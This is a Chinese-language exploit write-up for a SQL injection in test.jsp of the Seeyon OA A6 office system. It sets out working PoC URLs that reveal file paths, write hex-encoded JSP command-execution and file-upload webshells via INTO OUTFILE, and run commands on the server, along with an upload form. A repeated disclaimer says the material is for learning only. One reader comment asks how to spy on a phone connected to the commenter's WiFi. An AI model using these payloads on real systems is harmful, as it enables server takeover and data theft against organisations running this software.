一、漏洞描述
用友致远A6协同管理系统:面向广大的企事业组织应用设计,是一个基于互联网的高效协同工作平台和优秀的协同管理系统。它融入先进的协同管理理念,运用领先的网络技术,切实有效的解决企事业组织工作管理中的关键应用。利用它可把日常管理中的业务、事务、事件等信息在单位、部门、组群、个人之间进行及时高效、有序可控、全程共享的沟通和处理。是一套非常适合国情的、并具有很高性价比的软件。
致远OA A6的test.jsp存在sql注入漏洞,攻击者可以通过注入漏洞写入webshell文件控制服务器。
二、漏洞复现
先测试系统是否存在test.jsp文件,访问如下地址
http://xx.xx.xx.xx/yyoa/common/js/menu/test.jsp
可以看到是存在该文件且被解析了的,那么接下来测试sql注入漏洞是否存在。poc如下,查看数据库安装路径(后面写入webshell需要)
http://xx.xx.xx.xx/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT @@basedir)
从响应来看,确实存在sql注入,并且可以推测出web应用的根目录是
D:/UFseeyon/OA/tomcat/webapps/yyoa
也可以使用load_file判断是否正确
select load_file('D:/UFseeyon/OA/tomcat/webapps/yyoa/WEB-INF/web.xml')
确定了网站绝对路径之后,那么接下来就是写入webshell了
这里利用into outfile写入webshell,但是需要满足一些前置条件
1、数据库的当前用户为ROOT或拥有FILE权限;(FILE权限指的是对服务器主机上文件的访问)
2、知道网站目录的绝对路径;
3、MySQL中的secure_file_priv参数不能为NULL状态。
由于jsp文件中存在特殊符号,所以我们要先对jsp木马进行hex编码
hex编码前
<% if("0".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
hex编码后
3c25206966282230222e657175616c7328726571756573742e676574506172616d657465722822707764222929297b206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822692229292e676574496e70757453747265616d28293b20696e742061203d202d313b20627974655b5d2062203d206e657720627974655b323034385d3b206f75742e7072696e7428223c7072653e22293b207768696c652828613d696e2e7265616428622929213d2d31297b206f75742e7072696e746c6e286e657720537472696e67286229293b207d206f75742e7072696e7428223c2f7072653e22293b207d20253e
接着利用如下poc写入webshell
http://xx.xx.xx.xx/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20unhex('3c25206966282230222e657175616c7328726571756573742e676574506172616d657465722822707764222929297b206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822692229292e676574496e70757453747265616d28293b20696e742061203d202d313b20627974655b5d2062203d206e657720627974655b323034385d3b206f75742e7072696e7428223c7072653e22293b207768696c652828613d696e2e7265616428622929213d2d31297b206f75742e7072696e746c6e286e657720537472696e67286229293b207d206f75742e7072696e7428223c2f7072653e22293b207d20253e') into outfile 'D:/UFseeyon/OA/tomcat/webapps/yyoa/swz01.jsp'
出现如下图,则说明可能成功
直接访问测试是否写入成功
http://xx.xx.xx.xx/yyoa/swz01.jsp?pwd=0&i=whoami
当然,由于jsp一句话木马太长了,请求连接会拒绝,所以也可以先上传写文件的脚本,然后再本地构造进行webshell上传
hex编码前
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
hex编码后
3C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E
先上传写文件的脚本
http://xx.xx.xx.xx/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20unhex('3C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E') into outfile 'D:/UFseeyon/OA/tomcat/webapps/yyoa/swz02.jsp'
然后本地构造上传
<html>
<form action="http://xx.xx.xx.xx/yyoa/swz02.jsp?f=swz03.jsp" method="post">
<textarea name=t cols=120 rows=10 width=45>your codetextarea>
<input type="submit" value="提交">
</form>
</html>
最后用蚁剑进行测试
免责声明:
1.本站上传的源码,均为平台购买,作者提供,网友推荐,互联网平台整理而来,请下载后24小时内删除。如有需要,请购买正版.
2.请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。
3.站内资源若侵犯了您的合法权益,请指出本站立即改正。
4.上述内容仅供学习参考及技术交流之用,未经相关的知识产权权利人同意,用户不得进行商业使用。
5.保姆式服务,百分百售后!
1.本站上传的源码,均为平台购买,作者提供,网友推荐,互联网平台整理而来,请下载后24小时内删除。如有需要,请购买正版.
2.请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。
3.站内资源若侵犯了您的合法权益,请指出本站立即改正。
4.上述内容仅供学习参考及技术交流之用,未经相关的知识产权权利人同意,用户不得进行商业使用。
5.保姆式服务,百分百售后!
评论(1)
酬谢:别人连接我家里WIFI,我想查看对方的手机内容。573243910@qq.com